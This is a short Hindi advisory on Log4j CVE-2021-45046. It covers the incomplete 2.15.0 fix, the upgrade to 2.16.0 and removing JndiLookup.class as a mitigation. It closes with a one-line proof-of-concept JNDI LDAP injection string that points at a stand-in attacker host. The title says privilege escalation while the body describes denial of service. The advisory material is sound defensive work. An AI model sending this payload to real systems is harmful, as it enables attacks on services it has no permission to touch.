
Log4j 2.15.0 विशेषाधिकार वृद्धि -- CVE-2021-45046

यह पाया गया कि Apache Log4j 2.15.0 में CVE-2021-44228 को संबोधित करने के लिए किया गया फिक्स कुछ गैर-डिफ़ॉल्ट कॉन्फ़िगरेशन में अधूरा था। यह उन हमलावरों को अनुमति दे सकता है जिनके पास Thread Context Map (MDC) इनपुट डेटा पर नियंत्रण है, जब लॉगिंग कॉन्फ़िगरेशन या तो Context Lookup (उदाहरण के लिए, $${ctx:loginId}) या Thread Context Map पैटर्न (%X, %mdc, या %MDC) के साथ एक गैर-डिफ़ॉल्ट Pattern Layout का उपयोग करता है, तो वे JNDI Lookup पैटर्न का उपयोग करके दुर्भावनापूर्ण इनपुट डेटा तैयार कर सकते हैं, जिसके परिणामस्वरूप सेवा से वंचित (DOS) हमला होता है। Log4j 2.15.0 डिफ़ॉल्ट रूप से JNDI LDAP lookups को localhost तक सीमित करता है। ध्यान दें कि पिछले शमन उपाय जिनमें सिस्टम प्रॉपर्टी log4j2.noFormatMsgLookup को true सेट करने जैसे कॉन्फ़िगरेशन शामिल हैं, इस विशिष्ट भेद्यता को कम नहीं करते हैं। Log4j 2.16.0 message lookup पैटर्न के लिए समर्थन हटाकर और डिफ़ॉल्ट रूप से JNDI कार्यक्षमता को अक्षम करके इस समस्या को ठीक करता है। इस समस्या को पिछले रिलीज़ (<2.16.0) में classpath से JndiLookup क्लास को हटाकर कम किया जा सकता है (उदाहरण: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class)।
Poc
${jndi:ldap://127.0.0.1#evil[.]com:1389/a}